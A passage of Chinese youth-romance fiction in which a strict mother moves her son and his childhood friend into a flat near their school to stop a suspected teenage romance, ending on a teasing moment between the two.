叶芝不以为然地嗤了声,“尽说大话,你也不怕丢人,我没带过他但也知道他成绩好,是一颗好苗子,你还跟人家比,比什么,比脸皮厚啊?” 洛望飞转了个身,做了一个空气投篮的动作,浑不在意地说,“不是还没有高考呢,不是有句老话吗,乾坤未定,你我皆是黑马。” “反正我觉得我挺行的。” 叶芝没当回事,拉着向晚星上车,又听见洛望飞在后面啰嗦了一句“再说了,成绩不代表人品啊,反正要是我谈恋爱了,肯定大大方方地,绝不遮遮掩掩,哪怕您和我爸打我骂我,让我写十万字检讨,我也要带着她跟你们俩见面,正式地给大家伙介绍这是我女朋友,肯定不瞒着。” 向晚星听见这话动作一顿,坐在副驾上低着头,抬起手轻轻去揉捏发酸的鼻尖,眨着眼睛,努力憋回眼眶的湿润。 叶芝觉得一个头两个大,回头看着洛望飞,也不发车,沉默地望着他,手指有一下没一下地敲着方向盘。 洛望飞被盯得头皮发麻,举起双手投降,“我就那么一说,没谈,真没,我敢吗我。您和我爸的晚节都压在我身上了,我敢顶风作案吗?开个玩笑,开个玩笑。” 叶芝这次转回身去,开着车还不忘敲打洛望飞一番,“你自己知道就好,你要是干了败坏风气的事情连累到我和你爸的头上,咱一家全喝西北风,你也别写检讨了,路边乞讨去。” 洛望飞“哦”了一句,不吭声了,车内陷入一片沉寂,叶芝这才注意到向晚星反常的安静。 要是搁以前,向晚星早就笑着说“叶阿姨,没关系,洛望飞靠不住,还有我呢,我给你当女儿,我养你啊,不会让你流落街头的。” “初一,眼睛不舒服吗?”叶芝注意到向晚星一直低着头揉着眼睛。 向晚星捂着眼睛回答:“最近看书看久了,眼睛有点发干,没事,我滴点眼药水就好了。” 叶芝得了回复心里的石头却没有落下,觉得烦闷不已。 向兰说得没错,两个小孩子都长大了,不好管了。 叶芝和向兰不一样,向兰主打温柔,惯着孩子舍不得孩子吃苦,叶芝则是雷霆手段,既然两个都在危险的青春期,干脆就放在一块儿,看管也方便。 她不允许洛望飞脱轨出事,也不能让向晚星在自个儿眼皮底子下毁了去。 叶芝改了方向,带两个孩子去了快餐店,让他们点了自己想吃的,在手机上开始联系房东和搬家公司,通知他们:“等下你们俩就回去收拾东西,今晚就搬到学校对面的房子里去住,我会经常来给你们做饭,看看你们情况,高三了,你们俩也别闹腾了,好好学习,互相监督。” 向晚星捏着汉堡愣在原地,洛望飞咬着鸡腿忍不住说了句:“妈,你这也太急了吧。” 叶芝完全不想征求这俩倒霉孩子的意见:“又不用你们干嘛,收拾东西坐个车,明天又不用早起,就这么定了。” 正好向兰的电话响起来,叶芝便开始通知向兰这件事,热切地说:“我问过他们俩了,他们俩都没什么意见,租金我看房时候就已经定了,今天就搬。” 向兰也被叶芝的速度惊到,“这么急吗?” “夜长梦多。”叶芝叹了口气,“你说的对,他们俩长大了,必须现在就介入,否则感觉来不及了。一个两个,都不愿意说心里话了,藏着心事。一中那边的小区有挺多老师的,我拜托他们留意些,也方便打听事情,注意动向,出了事情也能及时知道及时干预。” 向兰隐隐约约觉得事情已经脱离了自己的预想,滑向了一个不可控制的方向,在电话里给两个小孩求情说好话,又私底下发短信问了他们俩的意见。 洛望飞的回复很迅速,【向姨,您放心,我肯定替您好好监督向晚星^-^,有什么事情,我第一时间向您汇报,绝对不会让她犯一点错误的!不用谢!这是我应该的^-^】。 向晚星的回复姗姗来迟,带着一丝战战兢兢,【妈,我好像拒绝也来不及了,今天的叶阿姨好可怕,问了我一个小时早恋的事情,我再也不敢对洛望飞有非分之想了,我决定还是好好学习吧。生气的叶阿姨太可怕了QAQ,还是妈妈好。妈妈,想你,我去打包东西了。】 向兰还在对着短信思考两个小孩之间的可能性。 向晚星被洛望飞抵在门前,整个人脸红成了熟透的番茄,羞愤欲死而又徒劳无力地说着:“不行!洛望飞!你不可以这样!流氓!”